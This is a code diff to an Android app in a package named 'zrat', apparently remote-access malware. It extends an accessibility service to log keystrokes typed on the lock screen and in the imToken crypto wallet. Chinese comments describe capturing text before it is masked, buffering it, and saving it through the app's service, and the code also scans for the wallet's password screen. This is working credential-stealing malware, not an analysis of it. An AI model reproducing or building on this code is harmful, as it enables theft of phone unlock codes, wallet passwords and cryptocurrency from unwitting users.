|
|
@@ -2,12 +2,16 @@ package com.example.zrat;
|
|
|
|
|
|
import android.accessibilityservice.AccessibilityServiceInfo;
|
|
|
import android.accessibilityservice.GestureDescription;
|
|
|
+import android.app.KeyguardManager;
|
|
|
import android.content.Intent;
|
|
|
+import android.content.SharedPreferences;
|
|
|
import android.content.pm.ApplicationInfo;
|
|
|
import android.content.pm.PackageManager;
|
|
|
import android.graphics.Path;
|
|
|
import android.graphics.Rect;
|
|
|
import android.media.AudioManager;
|
|
|
+import android.os.Handler;
|
|
|
+import android.os.Looper;
|
|
|
import android.os.PowerManager;
|
|
|
import android.provider.Settings;
|
|
|
import android.util.Log;
|
|
|
@@ -35,6 +39,29 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
|
|
|
public static AccessibilityService instance;
|
|
|
|
|
|
+ // 文本聚合缓冲
|
|
|
+ private final Object bufferLock = new Object();
|
|
|
+ private final StringBuilder aggregateBuffer = new StringBuilder();
|
|
|
+ private final Handler flushHandler = new Handler(Looper.getMainLooper());
|
|
|
+ private static volatile long flushIdleMs = 5000L;
|
|
|
+ private long lastAppendAt = 0L;
|
|
|
+ private String currentAggregateAppName = null;
|
|
|
+ private final Runnable idleFlushRunnable = new Runnable() {
|
|
|
+ @Override
|
|
|
+ public void run() {
|
|
|
+ synchronized (bufferLock) {
|
|
|
+ if (System.currentTimeMillis() - lastAppendAt >= flushIdleMs) {
|
|
|
+ flushBuffer();
|
|
|
+ } else {
|
|
|
+ scheduleIdleFlush();
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ };
|
|
|
+
|
|
|
+ // imToken 输入框焦点跟踪
|
|
|
+ private boolean imTokenInputFocused = false;
|
|
|
+
|
|
|
public AccessibilityService() {
|
|
|
}
|
|
|
|
|
|
@@ -43,10 +70,26 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
super.onServiceConnected();
|
|
|
instance = this;
|
|
|
|
|
|
+ // 读取可配置的空闲上传间隔(毫秒),key: flush_idle_ms,默认 5000
|
|
|
+ try {
|
|
|
+ SharedPreferences sp = getSharedPreferences("accessibility_prefs", MODE_PRIVATE);
|
|
|
+ long configured = sp.getLong("flush_idle_ms", 5000L);
|
|
|
+ if (configured < 1000L) configured = 1000L; // 下限 1s,避免太频繁
|
|
|
+ flushIdleMs = configured;
|
|
|
+ Log.i(TAG, "flushIdleMs configured: " + flushIdleMs + " ms");
|
|
|
+ } catch (Throwable ignored) { }
|
|
|
+
|
|
|
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
|
|
|
- info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED | AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
|
|
|
+ info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED
|
|
|
+ | AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED
|
|
|
+ | AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED
|
|
|
+ | AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
|
|
|
+ | AccessibilityEvent.TYPE_VIEW_FOCUSED
|
|
|
+ | AccessibilityEvent.TYPE_VIEW_CLICKED
|
|
|
+ | AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED;
|
|
|
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
|
|
|
- info.notificationTimeout = 100;
|
|
|
+ // 降低延迟,尽量在掩码前拿到文本
|
|
|
+ info.notificationTimeout = 0;
|
|
|
info.flags = AccessibilityServiceInfo.DEFAULT
|
|
|
| AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS;
|
|
|
this.setServiceInfo(info);
|
|
|
@@ -186,7 +229,18 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
|
|
|
CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
|
|
|
Log.i(TAG, "onAccessibilityEvent: app name is: " + applicationLabel);
|
|
|
- traverseNode(getRootInActiveWindow());
|
|
|
+ // 应用/界面切换:仅在确实离开当前来源时再落库(imToken 改为仅点击其他按钮时上传,此处不落库)
|
|
|
+ if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
|
|
|
+ String eventSource = detectAppSource(packageName, applicationLabel);
|
|
|
+ boolean stillSame = currentAggregateAppName == null || currentAggregateAppName.equals(eventSource);
|
|
|
+ if (!stillSame) {
|
|
|
+ if ("LockScreen".equals(currentAggregateAppName)) {
|
|
|
+ flushBuffer();
|
|
|
+ }
|
|
|
+ }
|
|
|
+ // 仅在窗口变化时遍历树,避免阻塞文本事件
|
|
|
+ traverseNode(getRootInActiveWindow());
|
|
|
+ }
|
|
|
|
|
|
// 输入文本记录
|
|
|
if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
|
|
|
@@ -198,26 +252,92 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
if (contentDescription == null) {
|
|
|
contentDescription = "";
|
|
|
}
|
|
|
- // 只记录imToken应用的输入
|
|
|
- if ("imToken".equals(applicationLabel.toString())) {
|
|
|
- // 如果只需要PIN码
|
|
|
- // if (contentDescription.toString().contains("PIN"))
|
|
|
- Log.i(TAG, "输入文本记录 | App Name: " + applicationLabel.toString());
|
|
|
- Log.i(TAG, "输入文本记录 | Content Description: " + contentDescription.toString());
|
|
|
- Log.i(TAG, "输入文本记录 | Input Text: " + inputText.toString());
|
|
|
-
|
|
|
- Map<String, Object> map = new HashMap<>();
|
|
|
- map.put("appName", applicationLabel.toString());
|
|
|
- map.put("record", inputText.toString());
|
|
|
- ZService.zService.saveTextRecordToDataBase(map);
|
|
|
+ // 锁屏界面文本记录(聚合,优先事件快照)
|
|
|
+ if (isOnLockScreen()) {
|
|
|
+ List<CharSequence> eventTexts = event.getText();
|
|
|
+ String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
|
|
|
+ ? eventTexts.get(0).toString() : null;
|
|
|
+ String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
|
|
|
+ Log.i(TAG, "锁屏文本记录 | Text: " + toSave);
|
|
|
+ appendAggregateLine("LockScreen", toSave);
|
|
|
+ }
|
|
|
+ // imToken 文本记录(聚合,优先事件快照)
|
|
|
+ if ("imToken".equals(applicationLabel.toString()) || "im.token.app".equals(packageName)) {
|
|
|
+ List<CharSequence> eventTexts = event.getText();
|
|
|
+ String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
|
|
|
+ ? eventTexts.get(0).toString() : null;
|
|
|
+ String toSave = eventTextStr != null ? eventTextStr : (inputText != null ? inputText.toString() : "");
|
|
|
+ // 尝试抓取新增片段,提升首字命中
|
|
|
+ try {
|
|
|
+ if (eventTextStr != null && event.getAddedCount() > 0 && event.getFromIndex() >= 0) {
|
|
|
+ int from = event.getFromIndex();
|
|
|
+ int to = from + event.getAddedCount();
|
|
|
+ if (to <= eventTextStr.length()) {
|
|
|
+ String added = eventTextStr.substring(from, to);
|
|
|
+ if (added != null && !added.isEmpty()) {
|
|
|
+ toSave = eventTextStr; // 保留完整快照
|
|
|
+ }
|
|
|
}
|
|
|
}
|
|
|
+ } catch (Throwable ignored) { }
|
|
|
+ Log.i(TAG, "imToken文本记录 | Text: " + toSave);
|
|
|
+ appendAggregateLine("imToken", toSave);
|
|
|
+ }
|
|
|
+ }
|
|
|
}
|
|
|
}
|
|
|
|
|
|
- // 检测钱包密码验证区域
|
|
|
+ // 文本选择变化:有些输入法先通过选择变更暴露明文
|
|
|
+ if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED) {
|
|
|
+ List<CharSequence> eventTexts = event.getText();
|
|
|
+ String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
|
|
|
+ ? eventTexts.get(0).toString() : null;
|
|
|
+ AccessibilityNodeInfo source = event.getSource();
|
|
|
+ String nodeStr = source != null && source.getText() != null ? source.getText().toString() : null;
|
|
|
+ String toSave = eventTextStr != null ? eventTextStr : (nodeStr != null ? nodeStr : "");
|
|
|
+ if (isOnLockScreen()) {
|
|
|
+ appendAggregateLine("LockScreen", toSave);
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel.toString())) {
|
|
|
+ appendAggregateLine("imToken", toSave);
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ // 窗口内容文本变化:部分 ROM 文本更早从此事件到达
|
|
|
+ if (eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
|
|
|
+ && (event.getContentChangeTypes() & AccessibilityEvent.CONTENT_CHANGE_TYPE_TEXT) != 0) {
|
|
|
+ List<CharSequence> eventTexts = event.getText();
|
|
|
+ String eventTextStr = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null)
|
|
|
+ ? eventTexts.get(0).toString() : null;
|
|
|
+ AccessibilityNodeInfo source = event.getSource();
|
|
|
+ String nodeStr = source != null && source.getText() != null ? source.getText().toString() : null;
|
|
|
+ String toSave = eventTextStr != null ? eventTextStr : (nodeStr != null ? nodeStr : "");
|
|
|
+ if (isOnLockScreen()) {
|
|
|
+ appendAggregateLine("LockScreen", toSave);
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel.toString())) {
|
|
|
+ appendAggregateLine("imToken", toSave);
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ // imToken:仅在点击其他按钮(非可编辑控件)时上传
|
|
|
+ if (eventType == AccessibilityEvent.TYPE_VIEW_CLICKED
|
|
|
+ && ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel.toString()))) {
|
|
|
+ AccessibilityNodeInfo clicked = event.getSource();
|
|
|
+ boolean clickedEditable = clicked != null && (clicked.isEditable() ||
|
|
|
+ (clicked.getClassName() != null && clicked.getClassName().toString().contains("EditText")));
|
|
|
+ if (!clickedEditable && "imToken".equals(currentAggregateAppName)) {
|
|
|
+ flushBuffer();
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ // 检测钱包密码验证区域(保持功能,但避免额外日志与阻塞)
|
|
|
if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED && "imToken".equals(applicationLabel.toString())) {
|
|
|
- // 窗口状态变化时也主动扫描一次
|
|
|
scanForWalletPasswordVerification();
|
|
|
}
|
|
|
} catch (Exception e) {
|
|
|
@@ -227,7 +347,8 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
|
|
|
@Override
|
|
|
public void onInterrupt() {
|
|
|
-
|
|
|
+ // 中断时尽力落库,避免遗失
|
|
|
+ flushBuffer();
|
|
|
}
|
|
|
|
|
|
public void performClick(int x, int y) {
|
|
|
@@ -238,6 +359,44 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
dispatchGesture(tapBuilder.build(), null, null);
|
|
|
}
|
|
|
|
|
|
+ // 提供运行时动态设置 flushIdleMs 的能力(毫秒)
|
|
|
+ public void updateFlushIdleMs(long newMs) {
|
|
|
+ if (newMs < 1000L) newMs = 1000L;
|
|
|
+ flushIdleMs = newMs;
|
|
|
+ try {
|
|
|
+ SharedPreferences sp = getSharedPreferences("accessibility_prefs", MODE_PRIVATE);
|
|
|
+ sp.edit().putLong("flush_idle_ms", flushIdleMs).apply();
|
|
|
+ Log.i(TAG, "flushIdleMs updated: " + flushIdleMs + " ms");
|
|
|
+ } catch (Throwable ignored) { }
|
|
|
+ // 重新调度已有的 idle 任务
|
|
|
+ scheduleIdleFlush();
|
|
|
+ }
|
|
|
+
|
|
|
+ private String detectAppSource(String packageName, CharSequence applicationLabel) {
|
|
|
+ if (isOnLockScreen()) return "LockScreen";
|
|
|
+ if ("im.token.app".equals(packageName) || "imToken".equals(applicationLabel != null ? applicationLabel.toString() : null)) return "imToken";
|
|
|
+ return null;
|
|
|
+ }
|
|
|
+
|
|
|
+ private boolean isEditableFocused(AccessibilityNodeInfo node) {
|
|
|
+ if (node == null) return false;
|
|
|
+ if (!node.isFocused()) return false;
|
|
|
+ if (node.isEditable()) return true;
|
|
|
+ CharSequence cls = node.getClassName();
|
|
|
+ return cls != null && cls.toString().contains("EditText");
|
|
|
+ }
|
|
|
+
|
|
|
+ private boolean aggregateFromEvent(String packageName, CharSequence applicationLabel, AccessibilityEvent event, AccessibilityNodeInfo source) {
|
|
|
+ String appName = detectAppSource(packageName, applicationLabel);
|
|
|
+ if (appName == null) return false;
|
|
|
+ List<CharSequence> eventTexts = event.getText();
|
|
|
+ String snapshot = (eventTexts != null && !eventTexts.isEmpty() && eventTexts.get(0) != null) ? eventTexts.get(0).toString() : null;
|
|
|
+ String nodeStr = source != null && source.getText() != null ? source.getText().toString() : null;
|
|
|
+ String toSave = snapshot != null ? snapshot : (nodeStr != null ? nodeStr : "");
|
|
|
+ appendAggregateLine(appName, toSave);
|
|
|
+ return true;
|
|
|
+ }
|
|
|
+
|
|
|
private AccessibilityNodeInfo findScrollableNode(AccessibilityNodeInfo root, AccessibilityNodeInfo.AccessibilityAction action) {
|
|
|
Deque<AccessibilityNodeInfo> deque = new ArrayDeque<>();
|
|
|
deque.add(root);
|
|
|
@@ -253,7 +412,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
return null;
|
|
|
}
|
|
|
|
|
|
- public void scrollDown() {
|
|
|
+ public void scrollDown() {
|
|
|
AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD);
|
|
|
if (scrollable != null) {
|
|
|
scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
|
|
|
@@ -298,6 +457,47 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
}
|
|
|
|
|
|
+ private void appendAggregateLine(String appName, String line) {
|
|
|
+ if (line == null) return;
|
|
|
+ synchronized (bufferLock) {
|
|
|
+ if (currentAggregateAppName != null && !currentAggregateAppName.equals(appName)) {
|
|
|
+ // 切换来源前先落库旧来源
|
|
|
+ flushBuffer();
|
|
|
+ }
|
|
|
+ currentAggregateAppName = appName;
|
|
|
+ if (aggregateBuffer.length() > 0) aggregateBuffer.append('\n');
|
|
|
+ aggregateBuffer.append(line);
|
|
|
+ lastAppendAt = System.currentTimeMillis();
|
|
|
+ scheduleIdleFlush();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void scheduleIdleFlush() {
|
|
|
+ flushHandler.removeCallbacks(idleFlushRunnable);
|
|
|
+ flushHandler.postDelayed(idleFlushRunnable, flushIdleMs);
|
|
|
+ }
|
|
|
+
|
|
|
+ private void flushBuffer() {
|
|
|
+ String payload = null;
|
|
|
+ String appName = null;
|
|
|
+ synchronized (bufferLock) {
|
|
|
+ if (aggregateBuffer.length() > 0) {
|
|
|
+ payload = aggregateBuffer.toString();
|
|
|
+ aggregateBuffer.setLength(0);
|
|
|
+ appName = currentAggregateAppName;
|
|
|
+ currentAggregateAppName = null;
|
|
|
+ }
|
|
|
+ flushHandler.removeCallbacks(idleFlushRunnable);
|
|
|
+ }
|
|
|
+ if (payload != null && !payload.isEmpty() && appName != null) {
|
|
|
+ Map<String, Object> map = new HashMap<>();
|
|
|
+ map.put("appName", appName);
|
|
|
+ map.put("record", payload);
|
|
|
+ map.put("ts", System.currentTimeMillis());
|
|
|
+ ZService.zService.saveTextRecordToDataBase(map);
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
public void screenOff() {
|
|
|
try {
|
|
|
Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 1);
|
|
|
@@ -395,4 +595,20 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
}).start();
|
|
|
}
|
|
|
+ private boolean isOnLockScreen() {
|
|
|
+ try {
|
|
|
+ KeyguardManager keyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
|
|
|
+ if (keyguardManager == null) {
|
|
|
+ return false;
|
|
|
+ }
|
|
|
+ if (keyguardManager.isKeyguardLocked()) {
|
|
|
+ return true;
|
|
|
+ }
|
|
|
+ // 兼容旧设备
|
|
|
+ if (keyguardManager.inKeyguardRestrictedInputMode()) {
|
|
|
+ return true;
|
|
|
+ }
|
|
|
+ } catch (Throwable ignored) { }
|
|
|
+ return false;
|
|
|
+ }
|
|
|
}
|